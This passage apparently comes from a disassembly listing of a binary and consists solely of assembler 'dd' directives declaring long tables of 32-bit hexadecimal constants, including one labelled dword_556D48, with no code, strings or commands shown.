		dd 0FC3F0168h, 5F09D7CEh, 5C8C049h, 0A372011Bh,	5F40253Ah
		dd 0DD0F6F38h, 81F055Ah, 3619E401h, 0CDD972A6h,	7C6F24DCh
		dd 7DED052Ah, 0AFB691CEh, 18FB31C5h, 70B18E9h, 0DDF874ECh
		dd 0B0840D0h, 20A36FE9h, 95FFB6Ah, 0F85E90DEh, 0B74548B6h
		dd 68F890B4h, 1F28589Ah, 0EB01D513h, 0EA44DB77h, 1282DA89h
		dd 0B0FA1CAh, 83CF8ED5h, 221CF51h, 546A5DC4h, 43FD3163h
		dd 58459B9Ah, 0F0050206h, 9128FEBAh, 772F68h, 4A956866h
		dd 0B024912Ch, 24DDFDD7h, 0FA72889Ch, 2BF3D15Ch, 468EFAA4h
		dd 8AEB176Ch, 0C3E90B0Fh, 0BD2A9673h, 681442EEh, 0CFD53290h
		dd 5C0E2652h, 2B612045h, 2C26040Eh, 0FD80941h, 526AA915h
		dd 57C30F75h, 0CA9E1543h, 495147CEh, 68126F72h,	2CBA604Ah
		dd 809D55F3h, 0EC1CF898h, 2B42B747h, 15D0702h, 0D6A14544h
		dd 0AE926BF3h, 47D64989h, 0B8D3003Bh, 62CB6B63h, 28E0C12Eh
		dd 9956BA09h, 0BF2A59BBh, 5C0E643Ah, 8C776368h,	9FEE5AAh
		dd 71402058h, 10EF7813h, 268236FEh, 172F5F79h, 0E454637h
		dd 4E012E0Ch, 0F9C8EE36h, 5A8FB046h, 0A622335Ch, 8CA4DCA5h
		dd 3C422052h, 1D5D1FD1h, 48ECA84Dh, 0EE21197Eh,	567DC29Fh
		dd 4E756B28h, 0B6D3EAC7h, 755E2743h, 7B093E1Dh,	0DF407754h
		dd 12284462h, 0F1CA86Ah, 58E8061h, 0F61A02F9h, 4BB64121h
		dd 387FFA40h, 531513E0h, 7FB2BB5Ah, 8207E285h, 0F80B2F2Ch
		dd 0EA92C3Ah, 0E00A433h, 8B85D746h, 0A81CBC3Ch,	0B556BA6Eh
		dd 0DB380252h, 2DBB4A64h, 558B6E30h, 1D496809h,	2CA31CF5h
		dd 433E9826h, 0D24A415h, 51137254h, 0D83D69EDh,	842C8C4Fh
		dd 0F87E0945h, 5B6A06ADh, 10C1A33h, 71116441h, 0AC7320E9h
		dd 48021785h, 0E0298489h, 72384D7Ch, 58E975F8h,	83F0CD1Dh
		dd 2B9801C1h, 805CEB03h, 0B5A4E902h, 4EDC41EEh,	407ACE24h
		dd 0A05F3E97h, 0F7456E13h, 49758120h, 8D0CC172h, 7BDBFB55h
		dd 4FF8FBE4h, 0E5FE8C86h, 65E871BFh, 6A62B1D5h,	0EBF547E8h
		dd 0EAE7B021h, 3BA6AA04h, 0A401C758h, 0E9775C27h, 32E72C82h
		dd 27CD3450h, 0B26B381h, 2D565B92h, 54D4EC16h, 0C5C8EBAh
		dd 0A756CB68h, 3C8444AEh, 77D93BA3h, 23B72F76h,	15646815h
		dd 0CAEE7093h, 3198DB3Bh, 0B74D7520h, 0EE0559E6h, 0DE07642h
		dd 1270E100h, 680122F8h, 34081CDEh, 9D14101Ch, 3786D1E4h
		dd 10B94B4Ch, 43277F94h, 39B35E81h, 89852BBAh, 802288FFh
		dd 2EC74C95h, 67A05797h, 5C0B0E79h, 54986675h, 9D5DB617h
		dd 0B7D7440h, 9ECA81C0h, 0B7390733h, 5EE24D48h,	0A29AA725h
		dd 90F9CD7h, 892C65D5h,	0C4DF0C87h, 0ADE5B5DCh,	498A792Dh
		dd 45F5A942h, 32E90F2Fh, 0E7856EB4h, 225DFDFEh,	6BB2110h
		dd 9F95E986h, 5C577CDh,	29492B47h, 90CC4FDh, 0DA7D5F08h
		dd 280A7B8Eh, 7B1A8DB7h, 0DBBA2FF3h, 5840B874h,	0B63A96E9h
		dd 0E4024B09h, 98F5FA9Ah, 5FD26853h, 84C9B927h,	0A4EF8883h
		dd 4E6A8E4Dh, 7D061867h, 0C0C15C8h, 12FD7B6Ah, 554B686Ch
		dd 0AC1628E6h, 0E0DE234Fh, 0ED12AEB1h, 2EF86839h, 0C1834231h
		dd 0C7943D95h, 570533E2h, 90BEEA44h, 242CF108h,	563303F5h
		dd 0FDA183Bh, 50B8CDE8h, 0C405207h, 8C4AD8F7h, 0D09A021Dh
		dd 0A5EE5C76h, 642EC5Dh, 2ACDE835h, 7D2965C3h, 0F6B4FA5Ch
		dd 0E9A07CEFh, 8002104Fh, 0C0B641B1h, 2559CE48h, 0B17587B3h
		dd 0A82CAE81h, 44565A2Dh, 0C0907F7Ah, 0EB88E8A7h, 0CFFA07FCh
		dd 712DBFh, 35E96510h, 0A417E5Bh, 67B61B25h, 7E3D7620h
		dd 0A8614C17h, 0B59AE17h, 0DE872961h, 5B05FB01h, 0A8B9B4AFh
		dd 96BC7F5Eh, 0B465FAA4h, 0EA808F81h, 2765E204h, 30AA0247h
		dd 7E4AD8h, 6071F8B3h, 0E2810269h, 30183457h, 2008187Ch
		dd 0F9011211h, 6EA75A54h, 0E3352612h, 0EFA650BFh, 117B2B0Ch
		dd 2D1AB881h, 26D51B84h, 2745B1Fh, 158563C2h, 94E0EAC1h
		dd 53B768BDh, 0EFB0BD23h, 0C7C380B1h, 6286749Fh, 0DC08E7F2h
		dd 7CF68087h, 515AF000h, 0FE201EB5h, 66D589C5h,	0CC0B627Ch
		dd 0F72362B6h, 0E746DB89h, 10F04EA0h, 9701983Fh, 816556BCh
		dd 0CBEADA94h, 1FE91800h, 122135B9h, 0B7A156Ch,	0DACC5849h
		dd 98E931C6h, 0C0515FB5h, 16337AEEh, 0CF787780h, 94A5E55Bh
		dd 508FAA5Bh, 4357D15Ah, 4DC2AFFh, 0AE2C4A87h, 4D5F1133h
		dd 501F6073h, 0BF282668h, 0D076B313h, 0D1FDC21h, 0C5061BB0h
		dd 1BA04C14h, 39B00418h, 0C8897C76h, 70B7065Bh,	38780B2Ch
		dd 0FD818105h, 0D83D702Ah, 1100DEEFh, 0F809EABBh, 2202D5Fh
		dd 0E97F8051h, 1C55887Ah, 9F18951Ch, 0D716B753h, 0EAB02BE9h
		dd 13E65AD1h, 866E02CEh, 82C80F3Ch, 0F0B568F6h,	132D4973h
		dd 0C232F35Eh, 0C594C4E9h, 0CDFD9673h, 77E0E096h, 0FFD1B3A9h
		dd 3F47F184h, 0D5E431FCh, 4FB40687h, 0EF1C2B42h, 48D4705Dh
		dd 2FAA4BD3h, 0F7B90299h, 5C193413h, 5D70F44h, 265F2FCBh
		dd 0F1315328h, 0D145046Eh, 0D8310486h, 911EA7FEh, 0B9BE008Ah
		dd 0BA150542h, 0F37C0474h, 0A3D6E925h, 286809EDh, 0E93C1801h
		dd 6981657Eh, 49D7C2FAh, 55EB925Fh, 5D4E5BF2h, 4978CEFEh
		dd 8FEE9692h, 0CBFC3FD5h, 578196EDh, 0AD553BE9h, 4F75E16h
		dd 0C67D5A05h, 4650FB09h, 4F24EBC6h, 0C516EB08h, 5D5EFFC2h
		dd 0D9E25DF9h, 39D15FE5h, 0F1BCB097h, 0BC8DE9CBh, 3FB86E10h
		dd 0EBE5C013h, 7989F061h, 0C6E02A0Dh, 171E1DF9h, 0BB4A826h
		dd 7AD20E9Eh, 585E5EC8h, 5F0B0550h, 27FBD01h, 0C501F083h
		dd 68F8426Ch, 9A1D7809h, 5F334C16h, 1279B9C3h, 38BE02C0h
		dd 4B4EE977h, 0E73E3CA1h, 0E94A6FD3h, 42B92519h, 60FB4880h
		dd 89182E10h, 8FE88BEh,	0F94DE230h, 31A41325h, 975E04F2h
		dd 0DD580999h, 5DF4B738h, 5EE7F2A8h, 0D06132B4h, 10A42D48h
		dd 41FE30DFh, 684F926Ah, 2FE9FEA0h, 0C516EF1h, 19A1D645h
		dd 9850F320h, 5D0D4AA9h, 0C01D763Ah, 0AFA2F20Fh, 0F4756655h
		dd 0CA293BF6h, 9EF5F5ADh, 0AF633FCh, 152C20AFh,	13C1E58h
		dd 172A32CAh, 68D2E8E9h, 0FD3C771Ah, 13C80020h,	0AA6D915Ch
		dd 27CCD590h, 0F7101954h, 9D4082D7h, 0B5D8E7FDh, 61ED80B3h
		dd 8DF06FFh, 5BE762EAh,	0FA9556BAh, 0E47DBB81h,	0EE4FC2BFh
		dd 0BE0B3D64h, 51F27438h, 56003EEFh, 0DC41142Dh, 0DCF9F42Fh
		dd 8E054270h, 0F2C0194Fh, 2C000DD0h, 3574E202h,	0EAB267F6h
		dd 0C5A54EE9h, 0E775B0BEh, 451D180Fh, 8831A603h, 0FDC43CBFh
		dd 4E0A9A79h, 0E864AE5Ah, 772ECE0Bh, 0C8320E9Ch, 7FF24792h
		dd 0C05AC640h, 0FF02E139h, 63B5064Bh, 0B0CB5020h, 0B3E32EEFh
		dd 0FE131E03h, 0A84E94CBh, 4F405D7Bh, 0F7FA5A84h, 91EA9276h
		dd 668AA180h, 17000B3h,	0EED177D4h, 0F681034Eh,	5444040Eh
		dd 62B597B7h, 97DE6FAEh, 2E0B5312h, 5DE2C21Eh, 0AEBF19C5h
		dd 0B88179CFh, 384571D2h, 9DF405E8h, 72BD0D66h,	0E38B2033h
		dd 2A784660h, 48240173h, 4209B121h, 0C65DDAF7h,	66DC0B2Dh
		dd 0A17E7EBBh, 54E6E905h
dword_556D48	dd 0DD85A8B8h, 9D27AEEFh, 1FDA25DFh, 2D9888FEh,	9928F109h
		dd 0D4B58279h, 0D0BA0090h, 42B00E7Fh, 125DEA5Ah, 4C02CA81h
		dd 527B7D47h, 0B085009Ah, 1FAF0555h, 1336C0Bh, 8860ED0h
		dd 3B680B40h, 0F0DF9BFDh, 2B3A8B2h, 0E9D3309Dh,	20F75735h
		dd 91389478h, 4112B823h, 7E853198h, 49AE7BC7h, 0C897C444h
		dd 0D625A1EAh, 45C78219h, 184112C2h, 5C9564D3h,	859D6128h
		dd 0D6E2DF20h, 0A4ED0CF8h, 46BD1E9Fh, 3D0BD23h,	483F2816h
		dd 68EFDA01h, 8E6372F3h, 29E6004Eh, 5820B735h, 5F062D50h
		dd 259D989Dh, 482F7BF0h, 0A15BAF4Bh, 0BCE1448Dh, 0D654285Eh
		dd 0BF246B20h, 270BD2F1h, 523FDEE8h, 4FCC755h, 7104EE9h
		dd 0F2724048h, 0A7ECF91Fh, 7221FEh, 0B9626EB4h,	0E51981Ch
		dd 0BDE05C2h, 67EAF7C0h, 0C1B51FFFh, 123E21D0h,	85F1FEDEh
		dd 1F7D04DCh, 0CCBEEB80h, 0C3536177h, 448D14CFh, 81FC6781h
		dd 10950C4h, 23D2685Fh,	0FF34B223h, 0A1AC1E0h, 0E4A0057Bh
		dd 574B6165h, 6F4804C8h, 2AA95DECh, 0DA1531FFh,	13F733Ah
		dd 2DB0505Ch, 80D8B652h, 18D973EEh, 0D22018F6h,	0E0FFB753h
		dd 0E73FC0D7h, 17F71C05h, 0C1D0EFD8h, 0EF5C8147h, 0FAA816BDh
		dd 3CB36691h, 0BEA25FE8h, 0ED07BF6Eh, 0C25D560Ah, 29518ABFh
		dd 0A857AA97h, 0ADB45AF9h, 685E1060h, 7077583Ah, 0BA579F13h
		dd 0EBDA75F2h, 12F58102h, 43489F74h, 17D9A530h,	95A8B6E4h
		dd 950815A5h, 8252F78Ch, 0DDE725E9h, 815CC623h,	0E5D8FF85h
		dd 4B9FFA9Dh, 6B3B542h,	0DA9DF1E3h, 1BF60F16h, 0EAA64231h
		dd 0BD04DF11h, 28DF44B9h, 6177A8EBh, 0D87DF27Ch, 4654B741h
		dd 0DDC04228h, 5F2AE36Ah, 800B4E90h, 566988D7h,	73782E56h
		dd 6BDB6404h, 60C0753h,	816CD91h, 0DC047628h, 8E1037A3h
		dd 173C6410h, 52098F34h, 925D37Dh, 0BAFD3629h, 19ACE71h
		dd 22BA525Dh, 940D2036h, 5F9811F0h, 99229ABh, 0C3A7DEAFh
		dd 0D22F40B9h, 20904106h, 47ECF10Bh, 0DA7A82DEh, 1F8F05A4h
		dd 0EF50AFF6h, 66CAFE02h, 0FA3CFC68h, 0F0B416CFh, 661DAA28h
		dd 6A4BD012h, 6006E451h, 80131252h, 881C28C7h, 732D5BFEh
		dd 80791218h, 55E6811Ch, 63587812h, 5803B9D3h, 6404CD0Ah
		dd 0EBBEFEF5h, 60CCAD4Bh, 28D52175h, 0E84D5Ah, 0A4A1E75h
		dd 0C939DA05h, 9B38B4A0h, 0CE25F82h, 71132CE0h,	0A535D63Fh
		dd 0D51B09C7h, 14032DBh, 6720E9CEh, 72EB0F67h, 0D3090F60h
		dd 302D012Dh, 0D479A378h, 0A12C2891h, 514D536h,	41814807h
		dd 0D9182B12h, 831290CCh, 685752B0h, 36BF209h, 153F207Ah
		dd 9028886Fh, 0C2FD4AD2h, 2E54A1CFh, 0F9E65FCBh, 0F16D6827h
		dd 5FBA804Bh, 501C7202h, 68C2B801h, 92D6251h, 0E92486D4h
		dd 0A5F67365h, 0E89101F6h, 0AD027E4Eh, 70C27A43h, 0FE25D25Eh
		dd 49652579h, 0E9EE2981h, 7F6C89A8h, 3C5208E5h,	68F9F701h
		dd 2A343140h, 7CF5608Ah, 2CB45051h, 0B8E58827h,	815991F4h
		dd 2CFF2A5Dh, 4A030664h, 2CE92DA0h, 0F6EE8548h,	75582794h
		dd 0F041973Ah, 41A2C0F3h, 549F30F9h, 0FEC9BC9Eh, 6D34E7Eh
		dd 3EB46BE6h, 665AF401h, 2886B353h, 125B8670h, 3758E688h
		dd 8A78CC80h, 80CE48E7h, 0E90CC604h, 8CAFFBAEh,	14F2C15h
		dd 5AF10F28h, 48D6B6FAh, 0ED00938Ah, 59120548h,	16644F54h
		dd 0A12F13F9h, 758A3F14h, 0BDE58650h, 5D4BACCCh, 0ACBE37C4h
		dd 0FC16DF69h, 0FB0584h, 0F4C381DCh, 4E7E1270h,	911E742Bh
		dd 0A0295027h, 9612584Ch, 5357E297h, 613FD4E0h,	1A5B743Fh
		dd 0D60FB4F3h, 5AE90E11h, 0BA5E9899h, 0C917A70Eh, 987FE5B1h
		dd 6A02B391h, 0C2684103h, 9714C08h, 55DC2746h, 0FB7B100h
		dd 929D63DFh, 0FDD957BFh, 0DFDE180Bh, 76251545h, 3CC26AC9h
		dd 96779D70h, 0E95309E8h, 247198C8h, 0BE37E970h, 87E38030h
		dd 0F77A9F60h, 7C86D350h, 1072FF39h, 4E2FDD01h,	0CF76E80Bh
		dd 3D779D8Ch, 7E9909EAh, 62807A36h, 653470CEh, 9B23E912h
		dd 0A01268EAh, 20F16355h, 0A63D1543h, 0E567A438h, 7056DA5h
		dd 914BF68h, 0B721EC5Dh, 4928C765h, 7BB1FEC0h, 2EE9294Fh
		dd 42239241h, 869A7366h, 5F9124DFh, 0BD3FC4ABh,	0A023F199h
		dd 0F56499A7h, 31C057F8h, 6616E6C7h, 9C35F601h,	0F3EA81D5h
		dd 3056EF2Ch, 8F805495h, 0FC404847h, 0C30C5E00h, 5C180D6Eh
		dd 8075283Ah, 21162B6Ah, 60A4E993h, 0DC8B7361h,	131DB3Fh
		dd 6A17CAC3h, 9A95A36Fh, 45C75F20h, 0AC83DFA7h,	31847906h
		dd 0F005DCD5h, 0E9D37DC7h, 0D839C500h, 7D210463h, 0EF94D7CFh
		dd 681AB98Bh, 5D111Ch, 0FE4551ADh, 16E9EC26h, 0E2641F15h
		dd 2708410Eh, 8FB41208h, 0BF7A75AEh, 70FEF5B0h,	80264C2Ch
		dd 9F68DD18h, 565847C3h, 0C29261Eh, 5D085039h, 0C2D7D1BDh
		dd 0EDF7DD3Bh, 2AF30939h, 0F296CCF4h, 0CAFF61C5h, 0FB767F36h
		dd 96DFFDCBh, 0C7497BFh, 1B685F83h, 0F6E31917h,	551D0B07h
		dd 1026ACB8h, 5BC10BDDh, 2A6C4768h, 0EE963C33h,	1E69ECF5h
		dd 0CC46AD02h, 0F2272971h, 6EF9B1F8h, 30042A47h, 602C5931h
		dd 0A7FC9BC9h, 0EF43C008h, 10A51FD7h, 0B1F1294Eh, 0AAF90804h
		dd 0A196542Dh, 1258C342h, 4F607A20h, 75477940h,	0CFDCE733h
		dd 836E1312h, 0F815AA7Ch, 0A834EF8h, 5FCF2D87h,	8CEAB7Eh
		dd 8853058Bh, 7449AEC7h, 4B03562Ah, 2066675Dh, 0DE9820EAh
		dd 4DAA8E80h, 5E25D004h, 0E3FF4C01h, 232F8B6Ah,	0A5EE834Bh
		dd 69E3AFA4h, 85DF16DBh, 0CFB35177h, 8AD45725h,	0C1F355DAh
		dd 97FAE98Ch, 51BE35B7h, 0CE16AED4h, 326886B4h,	0EC91717Fh
		dd 0C6883648h, 589DC9EEh, 0B0D595D1h, 9129EC02h, 6A0E0502h
		dd 0F4B10474h, 0B7B8167Ch, 1D74EECBh, 654DDD25h, 71DAEB91h
		dd 84242845h, 0F487F51Eh, 8869015Bh, 0BF240869h, 0EC017AC9h
		dd 20498156h, 7B18C8F5h, 340C758Ah, 28263E4Fh, 5DF6C904h
		dd 0F101C0BCh, 54B81A99h, 1BA03CD6h, 797E00B9h,	6BE0778h
		dd 0C17DE9Eh, 1DBFCE29h, 743800CCh, 88EDE917h, 0BECDA5C0h
		dd 0EC78A710h, 6B3D09C5h, 80D74A2Dh, 739A7B35h,	3BE29F80h
		dd 89380FD7h, 0DC4E686Dh, 952FE43Ah, 3059B911h,	0C9832800h
		dd 0D4512BA5h, 752AF6DEh, 0A5B5EC30h, 0E95543BBh, 0A10274CBh
		dd 0F8A359EEh, 47605705h, 12B753DCh, 728F7DAAh,	13780B64h
		dd 3A0C8DFBh, 4B7A3DB2h, 0D29AF8DAh, 0F7125AE8h, 1932BAD9h
		dd 9920D68Eh, 575E1BEAh, 92F8E2F1h, 0AA14ED5Bh,	0DACD1217h
		dd 0C22E29EEh, 33127350h, 0F2FA5830h, 857E7E99h, 68A6A7B1h
		dd 5852B002h, 0DB84DF2Ah, 4A2CEC3Eh, 9876CEFFh,	1C5FB196h
		dd 8811E980h, 0EA8BDF07h, 735284DEh, 5676C0BEh,	709560F0h
		dd 0E2D1057Bh, 562704E9h, 0E4802727h, 0F10C347Eh, 4572C108h
		dd 7FF03A5Eh, 4B1803C1h, 0D90170F4h, 2908D040h,	0FA6461FDh
		dd 5EBD0D52h, 0C857EBCCh, 183FBE2Fh, 2007E156h,	1E27A9C5h
		dd 0A7EB74F8h, 0C2EE98D5h, 5CCC9058h, 35241303h, 2BAE02CCh
		dd 9DFC2F7Fh, 687108A0h, 0B9B33E4Ah, 7B5CC405h,	334EC257h
		dd 46C400Ch, 296A8243h,	160810F3h, 79E8348Bh, 41880BB5h
		dd 48089AC5h, 0F3800749h, 0EC5D0BB4h, 5FC3F80Ah, 7559FD31h
		dd 8D93E494h, 9FFA4F84h, 0B494AB3h, 62A4EAF3h, 8C84F52Dh
		dd 0B1C88543h, 20BD3AF3h, 0B98356C4h, 0B2EC8FF8h, 4B818BEAh
		dd 68599F70h, 0BF5B7086h, 0E9C10F5Ch, 9E7D4338h, 3970A10h
		dd 31E3BDBBh, 0C8BFD2E7h
		dd 0EAD568CCh, 5F5A3DB8h, 1658D399h, 2E6C495Bh,	5889721h
		dd 0B17D8704h, 2E673D6Ah, 4F41F88h, 29186897h, 3F3C3CBh
		dd 3D106316h, 4996EDB9h, 600104DAh, 0D6B753D8h,	0FA7043D7h
		dd 951AD03Fh, 0ABC36251h, 0CA4D3E57h, 32C7C05Fh, 5FC640Ah
		dd 70B7709Ah, 3CAFC1Ah,	1B3A4968h, 36F8BF57h, 0C1123285h
		dd 0E00003EFh, 19AB233Dh, 39CC9C31h, 0C340E6A6h, 6D274F2Dh
		dd 891B5DE8h, 0C518D9F3h, 6CB65553h, 68D78275h,	97733E4Dh
		dd 0FD6C78EEh, 40F86C47h, 0EDEC5AFBh, 0EDF7055Ah, 4CF1F71Fh
		dd 0E183177Fh, 64E46815h, 252885A4h, 0F6CD8AF8h, 0CB8C4A8h
		dd 7F1E2B1Fh, 3C0BF764h, 0C9E6F606h, 0EF107329h, 0A294432Dh
		dd 2468F563h, 23AE611h,	722672Dh, 1092A380h, 0E92727B4h
		dd 8FBE5CBBh, 33695DE2h, 6DC20300h, 0F4C485Fh, 177E3B6Eh
		dd 35B0137Bh, 0C839D61h, 0CEB9D029h, 410C799Ch,	2853E5F2h
		dd 0B65FCA1Fh, 975D5AA7h, 1120086Ch, 3DEC970Dh,	544E4C27h
		dd 0DD060B1h, 8A03273h,	55170396h, 0CDAF0134h, 0E90C00D5h
		dd 38BF50D2h, 2C70BBE6h, 8AD2D12h, 661460A3h, 20DF12FBh
		dd 7D1AAAE3h, 0CE628D55h, 0C12CB4F2h, 0D3097BEBh, 0B44E9463h
		dd 857543EBh, 53E4D376h, 16CF3580h, 0EC3BBC66h,	0F25873E1h
		dd 400B7B20h, 5D5E2379h, 5D2705EEh, 781D5431h, 0CA9221CAh
		dd 5D655429h, 19F96409h, 0BE50587Eh, 0A05BD821h, 4818E9C1h
		dd 0B6C73F40h, 0F1D1A4FDh, 9BB93F7Dh, 0C775518Bh, 0AD49AFB5h
		dd 0B84B243Ah, 0D23F270Fh, 37954521h, 0C78450ADh, 8059013Ch
		dd 0EDCC2EC4h, 4B10F8E4h, 91714451h, 1BE1F2Ch, 0D8B25243h
		dd 4BDC2FEh, 4197CA1Fh,	0D130DEF2h, 0ADF1E45Ah,	4455E5A2h
		dd 2EDA9A6Dh, 0A2ADD231h, 0A5E9DC4h, 0EC805805h, 2BBC9C94h
		dd 8F685C04h, 2B8EFE55h, 807FF22Eh, 0A96DCF05h,	199F50D7h
		dd 9C715871h, 0D501C18Bh, 4B9EF580h, 29C4432Bh,	76F0E4E9h
		dd 79DC7288h, 4F034DE5h, 4817950h, 89428529h, 0A550ACC3h
		dd 441FB5EAh, 7842EBDFh, 4997AE9h, 0F69EC108h, 5C8C41DAh
		dd 0EBC82030h, 0E0936D6Eh, 954FA72Dh, 9C9DF876h, 0D9210BDDh
		dd 2F7365F5h, 515983D5h, 0E6AB8441h, 7E252D5Bh,	78808855h
		dd 0C80BDC68h, 5E874B79h, 0B2C6F892h, 765550CBh, 3FA02051h
		dd 9E0B3504h, 4B82DDE6h, 0D8E50F68h, 0EEB0D0D4h, 402D3F98h
		dd 0C69C4112h, 0AD190845h, 0A82C5D87h, 0BF549DB2h, 0BFC4362Dh
		dd 0A54D295Ch, 288D49CEh, 0B018166Ch, 7F6476Dh,	61CD1C12h
		dd 8DFB1FFEh, 0E41D87BCh, 3B2E3E3Fh, 2412034Ch,	0E8ECC29Dh
		dd 0B094B71Fh, 6812D7B0h, 3F367BA2h, 16131322h,	265204D2h
		dd 0DEF70471h, 882A2AECh, 0F3525ACEh, 90AB4BFAh, 7EB6685Eh
		dd 57C682A8h, 417C1297h, 153694AAh, 9681D426h, 9462D059h
		dd 6B5CBE71h, 0FEE9B18Fh, 0A85E287Ch, 0D503CA60h, 31F80180h
		dd 97505830h, 128032E5h, 0B83F3E63h, 310BC936h,	510C3DF0h
		dd 427C4E74h, 0E907A005h, 8F6C9D0Eh, 8C1E75E4h,	0F8260163h
		dd 0B3340CC8h, 901EDAAh, 1B495068h, 0EA2DC263h,	0B0CD5F47h
		dd 52827024h, 0CC2B4EE9h, 0B4F2BDA4h, 8E00314Ah, 0F6070DF2h
		dd 4B09FC2Ch, 0EA60645Bh, 0E585F1A9h, 0D111C8EBh, 4F746697h
		dd 0C32DAF55h, 0DC133988h, 2605FF27h, 0F241FB4Bh, 928CAB0h
		dd 0E627BE2Ah, 17D79A16h, 809B04D8h, 0B151F8BDh, 5A6E64Ch
		dd 5EAC060h, 99938E84h,	75DE82Dh, 0A077BA51h, 0E03A8D2Ah
		dd 2D909E10h, 0CF237940h, 25E23348h, 0B554DA44h, 1502ACD3h
		dd 0C5083A2Bh, 1A2D8156h, 7C6AA621h, 2C0741F5h,	5514C939h
		dd 7170FD71h, 0F97F82E4h, 0A4269Bh, 0E7248C4Dh,	0D45BC4E9h
		dd 53261CA7h, 7541109Ah, 0A7FDA85Ah, 155FC918h,	0E3AA96DAh
		dd 929E71D7h, 9690BB59h, 13402D04h, 81A5D180h, 515FC27h
		dd 0E16ADBA5h, 0A05DFAC2h, 0F5810567h, 88985869h, 2DBE5601h
		dd 2C16831Ch, 0CABC55BDh, 59500B89h, 0EBB72C6Fh, 0D82785FAh
		dd 9D2B46BEh, 0E20EF365h, 532C6C91h, 4C1C0519h,	0AA4BEF3Ch
		dd 6A706341h, 12B457DCh, 49081466h, 51895426h, 87A80489h
		dd 8266809h, 356F6230h,	0BF1C497h, 49B922A4h, 134F404h
		dd 0BC7E3BB8h, 0F8C56620h, 513059C1h, 1DB0D92Eh, 0E2086E4Fh
		dd 560751C6h, 0F402ACF2h, 3F0C791Eh, 68584E60h,	656FE592h
		dd 0A162EBD8h, 0C6597FC6h, 685507BBh, 2CB43BABh, 0F6ED6B80h
		dd 0D84B2E30h, 0C1002D06h, 0F81A44BAh, 58F15448h, 0F60001Ah
		dd 66E9D709h, 40139C10h, 0E7E055Ch, 240FA83Fh, 0BB808780h
		dd 7F685242h, 9B7B889h,	4696E0D1h, 0F45D6455h, 62B690E8h
		dd 4F681E05h, 0A3F125FFh, 0CD2B01B1h, 20A56177h, 66B14047h
		dd 98145902h, 211FC3Bh,	3E466238h, 29D81B43h, 76BF2D22h
		dd 0DA8482F3h, 0F88C350Ch, 0D84801BFh, 7D070B43h, 62A324C6h
		dd 3BBF5700h, 4607D210h, 0E82563B8h, 21225729h,	0A97536F5h
		dd 0DD4657F5h, 25E9F295h, 0CF45429Eh, 0DDF1DA13h, 0EA8B0468h
		dd 0F6BD6E55h, 61606274h, 0B861FE01h, 1511BF5Eh, 9419DE1Dh
		dd 932A1A78h, 80E7F50Ch, 0E4C1CD92h, 0AD3A07B5h, 0B0501D9Ch
		dd 4E8D003h, 0FC5BE701h, 0F58001C1h, 8CC5FED5h,	93F0E904h
		dd 0E3C1075Dh, 29489302h, 1D4EAB03h, 3B606C9Ah,	505295Bh
		dd 5A16E92Dh, 0F5C4FAECh, 74BA5740h, 78F1AE99h,	5FF5386Fh
		dd 55EA4692h, 62DF95AAh, 6F1C55B8h, 0FD4B61B6h,	0C8A6890h
		dd 215FC6BAh, 0AFD629B2h, 0E0C85A4Bh, 5E9A682Dh, 4FED3255h
		dd 48D758CAh, 246F4649h, 333353Ah, 237C6789h, 4331FE1Eh
		dd 0E2AE20D2h, 9C0C60F3h, 953E5ADCh, 0E28049F8h, 5A83EAEDh
		dd 0BDB5A88Eh, 0D364ED6Eh, 88C45BF8h, 92C8A986h, 2E3EC08h
		dd 3ACB805Ah, 0E1181340h, 6B9F769Dh, 0EA4CB904h, 3BAE8B31h
		dd 3C3C2D6Eh, 0FCDB4F19h, 0D376A25Fh, 3F85DFAFh, 676EB168h
		dd 0AC055785h, 78D40929h, 0C3DF00CCh, 5ED84265h, 316A534h
		dd 0E1E5908h, 40535DA9h, 840C3EDh, 5D8B49E9h, 0C02D453Bh
		dd 91BEAE80h, 524A7F59h, 0E602ACE8h, 63EA67E1h,	46839360h
		dd 0E94F6006h, 0FE55B14h, 7259D1E6h, 6F30F038h,	0C67B730h
		dd 4F767B0Dh, 5DA6E04Eh, 27B1759Dh, 0F7FC7A2Ch,	0D74AE985h
		dd 0A089EB1Ah, 6C0252D0h, 58047C53h, 59068435h,	5B6C61EFh
		dd 0CEB90013h, 3BFF2D74h, 89F5950Bh, 1FC9F6A5h,	28DA42D8h
		dd 4ADD72E9h, 0C5FC5F2Dh, 4F94F792h, 9CC1ACBAh,	6968C302h
		dd 3618D519h, 92B86661h, 0D1206F12h, 3B272DFAh,	41AF5EA0h
		dd 24C02AF8h, 4BC013E1h, 0B6BE8E7h, 161C5F09h, 0D7E92662h
		dd 6CDCAFB3h, 0F3EF84C9h, 2A68F1A0h, 4957BBh, 92D10B9h
		dd 0AAC1816Bh, 1A84331Dh, 1D1BE180h, 26E96FF4h,	932A66C3h
		dd 43DAE556h, 0A3F83AD2h, 8BC297Ch, 7DAEED00h, 20E954ECh
		dd 2B902DD5h, 385F6812h, 0B631748Ch, 48021E6h, 0B8190968h
		dd 586DC9D5h, 9ABD0BB7h, 74928817h, 2470727Dh, 2F14EE01h
		dd 0B0755AEAh, 0E14C659h, 1114567h, 80B28DAh, 5D1FAAD0h
		dd 0E5011C4Dh, 46090644h, 1267A170h, 0EA6D6E40h, 0AF2B43B1h
		dd 1E5E2Ch, 81576871h, 8B7A67F6h, 0E6C13F02h, 4AADE902h
		dd 0F496DF49h, 5F138A4Eh, 30F9DDFBh, 774B28E7h,	169B6B8Ch
		dd 973F667h, 0D5F408E3h, 0BF5D3918h, 0ED071766h, 588EAC71h
		dd 3CEA8476h, 0FB02BE12h, 406964F6h, 18A2F2F9h,	1A3F5575h
		dd 0BC1763C2h, 0EBA8CFh
		dd 6B892DF7h, 0E970C3Eh, 5BDEE4A1h, 10DBCBBEh, 6809F73Fh
		dd 0FB791A53h, 0A3D75885h, 525D5C1h, 0C4097606h, 78017130h
		dd 62F8B5CEh, 0D6C040F0h, 37E906EBh, 9120BFEFh,	6B557E17h
		dd 0E5A2584Eh, 5FE0B35Fh, 4EFA1DCCh, 2C71EECCh,	7D874C40h
		dd 0F75CDFC7h, 858CB362h, 0BBED171Eh, 6443884Fh, 9CFE0A7Fh
		dd 9707BAFFh, 0E9339029h, 0D55E6269h, 63A48294h, 5CCCB82Dh
		dd 6C8BEB24h, 740E425Fh, 35E9C17Bh, 8295383Dh, 29282368h
		dd 4835C8F7h, 6250BE7Eh, 0FC0B2025h, 138A8B08h,	0DD2386Eh
		dd 7A16D9EFh, 4AB545C2h, 0B8EFD3Bh, 3E09E769h, 0E830D000h
		dd 5C27E97Ch, 47685ED5h, 27219A5Ah, 21C92C25h, 2E5A8CFCh
